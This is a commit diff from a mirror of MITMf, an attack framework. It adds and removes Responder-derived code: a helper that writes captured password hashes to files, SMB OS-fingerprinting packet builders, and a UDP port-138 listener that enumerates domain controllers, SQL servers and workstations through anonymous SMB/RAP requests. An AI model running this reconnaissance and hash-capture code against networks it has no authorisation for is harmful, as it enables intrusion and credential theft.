mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-20 13:33:30 -07:00
first pass at refactoring:
directory structure has been simplified by grouping all the poisoners and servers in one folder impacket smb server has been replaced with responder's flask http server has beem replaced with responder's modified config file to support new changes
This commit is contained in:
parent
93d21c8b27
commit
fd9b79c617
87 changed files with 3921 additions and 3755 deletions
|
@ -1,102 +0,0 @@
|
|||
#common functions that are used throughout the Responder's code
|
||||
|
||||
import os
|
||||
import re
|
||||
|
||||
#Function used to write captured hashs to a file.
|
||||
def WriteData(outfile, data, user):
|
||||
if os.path.isfile(outfile) == False:
|
||||
with open(outfile,"w") as outf:
|
||||
outf.write(data)
|
||||
outf.write("\n")
|
||||
outf.close()
|
||||
if os.path.isfile(outfile) == True:
|
||||
with open(outfile,"r") as filestr:
|
||||
if re.search(user.encode('hex'), filestr.read().encode('hex')):
|
||||
filestr.close()
|
||||
return False
|
||||
if re.search(re.escape("$"), user):
|
||||
filestr.close()
|
||||
return False
|
||||
else:
|
||||
with open(outfile,"a") as outf2:
|
||||
outf2.write(data)
|
||||
outf2.write("\n")
|
||||
outf2.close()
|
||||
|
||||
def Parse_IPV6_Addr(data):
|
||||
if data[len(data)-4:len(data)][1] =="\x1c":
|
||||
return False
|
||||
if data[len(data)-4:len(data)] == "\x00\x01\x00\x01":
|
||||
return True
|
||||
if data[len(data)-4:len(data)] == "\x00\xff\x00\x01":
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
#Function name self-explanatory
|
||||
def Is_Finger_On(Finger_On_Off):
|
||||
if Finger_On_Off == True:
|
||||
return True
|
||||
if Finger_On_Off == False:
|
||||
return False
|
||||
|
||||
def RespondToSpecificHost(RespondTo):
|
||||
if len(RespondTo)>=1 and RespondTo != ['']:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def RespondToSpecificName(RespondToName):
|
||||
if len(RespondToName)>=1 and RespondToName != ['']:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def RespondToIPScope(RespondTo, ClientIp):
|
||||
if ClientIp in RespondTo:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def RespondToNameScope(RespondToName, Name):
|
||||
if Name in RespondToName:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
##Dont Respond to these hosts/names.
|
||||
def DontRespondToSpecificHost(DontRespondTo):
|
||||
if len(DontRespondTo)>=1 and DontRespondTo != ['']:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def DontRespondToSpecificName(DontRespondToName):
|
||||
if len(DontRespondToName)>=1 and DontRespondToName != ['']:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def DontRespondToIPScope(DontRespondTo, ClientIp):
|
||||
if ClientIp in DontRespondTo:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def DontRespondToNameScope(DontRespondToName, Name):
|
||||
if Name in DontRespondToName:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def IsOnTheSameSubnet(ip, net):
|
||||
net = net+'/24'
|
||||
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
|
||||
netstr, bits = net.split('/')
|
||||
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
|
||||
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
|
||||
return (ipaddr & mask) == (netaddr & mask)
|
||||
|
||||
def FindLocalIP(Iface):
|
||||
return OURIP
|
68
core/responder/fingerprint.py
Normal file
68
core/responder/fingerprint.py
Normal file
|
@ -0,0 +1,68 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import re
|
||||
import sys
|
||||
import socket
|
||||
import struct
|
||||
import string
|
||||
import logging
|
||||
|
||||
from utils import *
|
||||
from odict import OrderedDict
|
||||
from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
|
||||
|
||||
def OsNameClientVersion(data):
|
||||
try:
|
||||
length = struct.unpack('<H',data[43:45])[0]
|
||||
pack = tuple(data[47+length:].split('\x00\x00\x00'))[:2]
|
||||
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
||||
return OsVersion, ClientVersion
|
||||
|
||||
except:
|
||||
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
|
||||
|
||||
def RunSmbFinger(host):
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect(host)
|
||||
s.settimeout(0.7)
|
||||
|
||||
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
|
||||
n = SMBNego(data = SMBNegoFingerData())
|
||||
n.calculate()
|
||||
|
||||
Packet = str(h)+str(n)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
s.send(Buffer)
|
||||
data = s.recv(2048)
|
||||
|
||||
if data[8:10] == "\x72\x00":
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
|
||||
Body = SMBSessionFingerData()
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
s.send(Buffer)
|
||||
data = s.recv(2048)
|
||||
|
||||
if data[8:10] == "\x73\x16":
|
||||
return OsNameClientVersion(data)
|
||||
except:
|
||||
print color("[!] ", 1, 1) +" Fingerprint failed"
|
||||
return None
|
|
@ -1,121 +0,0 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import re,sys,socket,struct,string
|
||||
from socket import *
|
||||
from ..odict import OrderedDict
|
||||
from ..packet import Packet
|
||||
|
||||
def longueur(payload):
|
||||
length = struct.pack(">i", len(''.join(payload)))
|
||||
return length
|
||||
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("proto", "\xff\x53\x4d\x42"),
|
||||
("cmd", "\x72"),
|
||||
("error-code", "\x00\x00\x00\x00" ),
|
||||
("flag1", "\x00"),
|
||||
("flag2", "\x00\x00"),
|
||||
("pidhigh", "\x00\x00"),
|
||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("reserved", "\x00\x00"),
|
||||
("tid", "\x00\x00"),
|
||||
("pid", "\x00\x00"),
|
||||
("uid", "\x00\x00"),
|
||||
("mid", "\x00\x00"),
|
||||
])
|
||||
|
||||
class SMBNego(Packet):
|
||||
fields = OrderedDict([
|
||||
("wordcount", "\x00"),
|
||||
("bcc", "\x62\x00"),
|
||||
("data", "")
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["bcc"] = struct.pack("<h",len(str(self.fields["data"])))
|
||||
|
||||
class SMBNegoData(Packet):
|
||||
fields = OrderedDict([
|
||||
("separator1","\x02" ),
|
||||
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
|
||||
("separator2","\x02"),
|
||||
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
|
||||
("separator3","\x02"),
|
||||
("dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
|
||||
("separator4","\x02"),
|
||||
("dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
|
||||
("separator5","\x02"),
|
||||
("dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
|
||||
("separator6","\x02"),
|
||||
("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
|
||||
])
|
||||
|
||||
class SMBSessionFingerData(Packet):
|
||||
fields = OrderedDict([
|
||||
("wordcount", "\x0c"),
|
||||
("AndXCommand", "\xff"),
|
||||
("reserved","\x00" ),
|
||||
("andxoffset", "\x00\x00"),
|
||||
("maxbuff","\x04\x11"),
|
||||
("maxmpx", "\x32\x00"),
|
||||
("vcnum","\x00\x00"),
|
||||
("sessionkey", "\x00\x00\x00\x00"),
|
||||
("securitybloblength","\x4a\x00"),
|
||||
("reserved2","\x00\x00\x00\x00"),
|
||||
("capabilities", "\xd4\x00\x00\xa0"),
|
||||
("bcc1",""),
|
||||
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
||||
|
||||
|
||||
def OsNameClientVersion(data):
|
||||
try:
|
||||
lenght = struct.unpack('<H',data[43:45])[0]
|
||||
pack = tuple(data[47+lenght:].split('\x00\x00\x00'))[:2]
|
||||
var = [e.replace('\x00','') for e in data[47+lenght:].split('\x00\x00\x00')[:2]]
|
||||
OsVersion, ClientVersion = tuple(var)
|
||||
return OsVersion, ClientVersion
|
||||
except:
|
||||
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
|
||||
|
||||
def RunSmbFinger(host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.connect(host)
|
||||
s.settimeout(0.7)
|
||||
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
|
||||
n = SMBNego(data = SMBNegoData())
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(buffer0)
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == "\x72\x00":
|
||||
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
|
||||
t = SMBSessionFingerData()
|
||||
t.calculate()
|
||||
final = t
|
||||
packet0 = str(head)+str(final)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == "\x73\x16":
|
||||
return OsNameClientVersion(data)
|
|
@ -1,132 +0,0 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import re,socket,struct
|
||||
from socket import *
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
def longueur(payload):
|
||||
length = struct.pack(">i", len(''.join(payload)))
|
||||
return length
|
||||
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("proto", "\xff\x53\x4d\x42"),
|
||||
("cmd", "\x72"),
|
||||
("error-code", "\x00\x00\x00\x00" ),
|
||||
("flag1", "\x00"),
|
||||
("flag2", "\x00\x00"),
|
||||
("pidhigh", "\x00\x00"),
|
||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("reserved", "\x00\x00"),
|
||||
("tid", "\x00\x00"),
|
||||
("pid", "\x00\x00"),
|
||||
("uid", "\x00\x00"),
|
||||
("mid", "\x00\x00"),
|
||||
])
|
||||
|
||||
class SMBNego(Packet):
|
||||
fields = OrderedDict([
|
||||
("wordcount", "\x00"),
|
||||
("bcc", "\x62\x00"),
|
||||
("data", "")
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["bcc"] = struct.pack("<h",len(str(self.fields["data"])))
|
||||
|
||||
class SMBNegoData(Packet):
|
||||
fields = OrderedDict([
|
||||
("separator1","\x02" ),
|
||||
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
|
||||
("separator2","\x02"),
|
||||
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
|
||||
("separator3","\x02"),
|
||||
("dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
|
||||
("separator4","\x02"),
|
||||
("dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
|
||||
("separator5","\x02"),
|
||||
("dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
|
||||
("separator6","\x02"),
|
||||
("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
|
||||
])
|
||||
|
||||
class SMBSessionFingerData(Packet):
|
||||
fields = OrderedDict([
|
||||
("wordcount", "\x0c"),
|
||||
("AndXCommand", "\xff"),
|
||||
("reserved","\x00" ),
|
||||
("andxoffset", "\x00\x00"),
|
||||
("maxbuff","\x04\x11"),
|
||||
("maxmpx", "\x32\x00"),
|
||||
("vcnum","\x00\x00"),
|
||||
("sessionkey", "\x00\x00\x00\x00"),
|
||||
("securitybloblength","\x4a\x00"),
|
||||
("reserved2","\x00\x00\x00\x00"),
|
||||
("capabilities", "\xd4\x00\x00\xa0"),
|
||||
("bcc1",""),
|
||||
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
||||
|
||||
|
||||
def OsNameClientVersion(data):
|
||||
lenght = struct.unpack('<H',data[43:45])[0]
|
||||
pack = tuple(data[47+lenght:].split('\x00\x00\x00'))[:2]
|
||||
var = [e.replace('\x00','') for e in data[47+lenght:].split('\x00\x00\x00')[:2]]
|
||||
OsVersion = tuple(var)[0]
|
||||
return OsVersion
|
||||
|
||||
|
||||
def RunSmbFinger(host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.connect(host)
|
||||
s.settimeout(0.7)
|
||||
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
|
||||
n = SMBNego(data = SMBNegoData())
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(buffer0)
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == "\x72\x00":
|
||||
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
|
||||
t = SMBSessionFingerData()
|
||||
t.calculate()
|
||||
final = t
|
||||
packet0 = str(head)+str(final)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == "\x73\x16":
|
||||
return OsNameClientVersion(data)
|
|
@ -1,236 +0,0 @@
|
|||
import socket
|
||||
import threading
|
||||
import struct
|
||||
import logging
|
||||
import string
|
||||
|
||||
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.responder.fingerprinter.RAPLANMANPackets import *
|
||||
from core.logger import logger
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [LANfingerprinter] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("LANfingerprinter", formatter)
|
||||
|
||||
class LANfingerprinter():
|
||||
|
||||
def start(self, options):
|
||||
|
||||
global args; args = options
|
||||
|
||||
try:
|
||||
log.debug("online")
|
||||
server = ThreadingUDPServer(("0.0.0.0", 138), Browser)
|
||||
t = threading.Thread(name="LANfingerprinter", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
log.error("Error starting on port 138: {}:".format(e))
|
||||
|
||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
class Browser(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
request, socket = self.request
|
||||
if args.analyze:
|
||||
ParseDatagramNBTNames(request,self.client_address[0])
|
||||
BecomeBackup(request,self.client_address[0])
|
||||
BecomeBackup(request,self.client_address[0])
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def NBT_NS_Role(data):
|
||||
Role = {
|
||||
"\x41\x41\x00":"Workstation/Redirector Service.",
|
||||
"\x42\x4c\x00":"Domain Master Browser. This name is likely a domain controller or a homegroup.)",
|
||||
"\x42\x4d\x00":"Domain controller service. This name is a domain controller.",
|
||||
"\x42\x4e\x00":"Local Master Browser.",
|
||||
"\x42\x4f\x00":"Browser Election Service.",
|
||||
"\x43\x41\x00":"File Server Service.",
|
||||
"\x41\x42\x00":"Browser Service.",
|
||||
}
|
||||
|
||||
if data in Role:
|
||||
return Role[data]
|
||||
else:
|
||||
return "Service not known."
|
||||
|
||||
def Decode_Name(nbname):
|
||||
#From http://code.google.com/p/dpkt/ with author's permission.
|
||||
try:
|
||||
if len(nbname) != 32:
|
||||
return nbname
|
||||
l = []
|
||||
for i in range(0, 32, 2):
|
||||
l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
|
||||
((ord(nbname[i+1]) - 0x41) & 0xf)))
|
||||
return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
|
||||
except Exception as e:
|
||||
log.debug("Error parsing NetBIOS name: {}".format(e))
|
||||
return "Illegal NetBIOS name"
|
||||
|
||||
def WorkstationFingerPrint(data):
|
||||
Role = {
|
||||
"\x04\x00" :"Windows 95",
|
||||
"\x04\x10" :"Windows 98",
|
||||
"\x04\x90" :"Windows ME",
|
||||
"\x05\x00" :"Windows 2000",
|
||||
"\x05\x00" :"Windows XP",
|
||||
"\x05\x02" :"Windows 2003",
|
||||
"\x06\x00" :"Windows Vista/Server 2008",
|
||||
"\x06\x01" :"Windows 7/Server 2008R2",
|
||||
}
|
||||
|
||||
if data in Role:
|
||||
return Role[data]
|
||||
else:
|
||||
return False
|
||||
|
||||
def PrintServerName(data, entries):
|
||||
if entries == 0:
|
||||
pass
|
||||
else:
|
||||
entrieslen = 26*entries
|
||||
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
|
||||
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size) ]
|
||||
l =[]
|
||||
for x in ServerName:
|
||||
if WorkstationFingerPrint(x[16:18]):
|
||||
l.append(x[:16].replace('\x00', '')+'| OS:%s'%(WorkstationFingerPrint(x[16:18])))
|
||||
else:
|
||||
l.append(x[:16].replace('\x00', ''))
|
||||
|
||||
return l
|
||||
|
||||
def ParsePacket(Payload):
|
||||
PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
|
||||
StatusCode = Payload[PayloadOffset-4:PayloadOffset-2]
|
||||
if StatusCode == "\x00\x00":
|
||||
EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
|
||||
ParsedNames = PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
|
||||
return ParsedNames
|
||||
else:
|
||||
return None
|
||||
|
||||
def RAPThisDomain(Client,Domain):
|
||||
try:
|
||||
l =[]
|
||||
for x in range(1):
|
||||
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
|
||||
if PDC is not None:
|
||||
l.append('[LANFingerprinter]')
|
||||
l.append('Domain detected on this network:')
|
||||
for x in PDC:
|
||||
l.append(' -'+x)
|
||||
SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00")
|
||||
if SQL is not None:
|
||||
l.append('SQL Server detected on Domain {}:'.format(Domain))
|
||||
for x in SQL:
|
||||
l.append(' -'+x)
|
||||
WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff")
|
||||
if WKST is not None:
|
||||
l.append('Workstations/Servers detected on Domain {}:'.format(Domain))
|
||||
for x in WKST:
|
||||
l.append(' -'+x)
|
||||
else:
|
||||
pass
|
||||
return '\n'.join(l)
|
||||
except:
|
||||
pass
|
||||
|
||||
def RapFinger(Host,Domain, Type):
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((Host,445))
|
||||
s.settimeout(0.3)
|
||||
h = SMBHeader(cmd="\x72",mid="\x01\x00")
|
||||
n = SMBNegoData()
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(buffer0)
|
||||
data = s.recv(1024)
|
||||
##Session Setup AndX Request, Anonymous.
|
||||
if data[8:10] == "\x72\x00":
|
||||
head = SMBHeader(cmd="\x73",mid="\x02\x00")
|
||||
t = SMBSessionData()
|
||||
t.calculate()
|
||||
final = t
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
s.send(buffer1)
|
||||
data = s.recv(1024)
|
||||
##Tree Connect IPC$.
|
||||
if data[8:10] == "\x73\x00":
|
||||
head = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00")
|
||||
t = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$")
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
s.send(buffer1)
|
||||
data = s.recv(1024)
|
||||
##Rap ServerEnum.
|
||||
if data[8:10] == "\x75\x00":
|
||||
head = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00")
|
||||
t = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain))
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
s.send(buffer1)
|
||||
data = s.recv(64736)
|
||||
##Rap ServerEnum, Get answer and return what we're looking for.
|
||||
if data[8:10] == "\x25\x00":
|
||||
s.close()
|
||||
return ParsePacket(data)
|
||||
except:
|
||||
return None
|
||||
|
||||
def BecomeBackup(data, Client):
|
||||
try:
|
||||
DataOffset = struct.unpack('<H',data[139:141])[0]
|
||||
BrowserPacket = data[82+DataOffset:]
|
||||
if BrowserPacket[0] == "\x0b":
|
||||
ServerName = BrowserPacket[1:]
|
||||
Domain = Decode_Name(data[49:81])
|
||||
Name = Decode_Name(data[15:47])
|
||||
Role = NBT_NS_Role(data[45:48])
|
||||
if args.analyze:
|
||||
Message1=RAPThisDomain(Client,Domain)
|
||||
log.warning(Message1)
|
||||
log.warning("Datagram Request from {} | Hostname: {} via the {} wants to become a Local Master Browser Backup on this domain: {}.".format(Client, Name,Role,Domain))
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
try:
|
||||
Domain = Decode_Name(data[49:81])
|
||||
Name = Decode_Name(data[15:47])
|
||||
Role1 = NBT_NS_Role(data[45:48])
|
||||
Role2 = NBT_NS_Role(data[79:82])
|
||||
if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.":
|
||||
if args.analyze:
|
||||
Message1=RAPThisDomain(Client,Domain)
|
||||
log.warning(Message1)
|
||||
log.warning('Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
|
||||
except:
|
||||
pass
|
||||
|
||||
def ParseDatagramNBTNames(data,Client):
|
||||
try:
|
||||
Domain = Decode_Name(data[49:81])
|
||||
Name = Decode_Name(data[15:47])
|
||||
Role1 = NBT_NS_Role(data[45:48])
|
||||
Role2 = NBT_NS_Role(data[79:82])
|
||||
if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.":
|
||||
if args.analyze:
|
||||
Message1=RAPThisDomain(Client,Domain)
|
||||
log.warning(Message1)
|
||||
log.warning('Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
|
||||
except:
|
||||
pass
|
|
@ -1,146 +0,0 @@
|
|||
import struct
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.packet import Packet
|
||||
|
||||
def longueur(payload):
|
||||
length = struct.pack(">i", len(''.join(payload)))
|
||||
return length
|
||||
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("proto", "\xff\x53\x4d\x42"),
|
||||
("cmd", "\x72"),
|
||||
("error-code", "\x00\x00\x00\x00" ),
|
||||
("flag1", "\x08"),
|
||||
("flag2", "\x01\x00"),
|
||||
("pidhigh", "\x00\x00"),
|
||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("reserved", "\x00\x00"),
|
||||
("tid", "\x00\x00"),
|
||||
("pid", "\x3c\x1b"),
|
||||
("uid", "\x00\x00"),
|
||||
("mid", "\x00\x00"),
|
||||
])
|
||||
|
||||
class SMBNegoData(Packet):
|
||||
fields = OrderedDict([
|
||||
("wordcount", "\x00"),
|
||||
("bcc", "\x54\x00"),
|
||||
("separator1","\x02" ),
|
||||
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
|
||||
("separator2","\x02"),
|
||||
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
|
||||
])
|
||||
def calculate(self):
|
||||
CalculateBCC = str(self.fields["separator1"])+str(self.fields["dialect1"])+str(self.fields["separator2"])+str(self.fields["dialect2"])
|
||||
self.fields["bcc"] = struct.pack("<h",len(CalculateBCC))
|
||||
|
||||
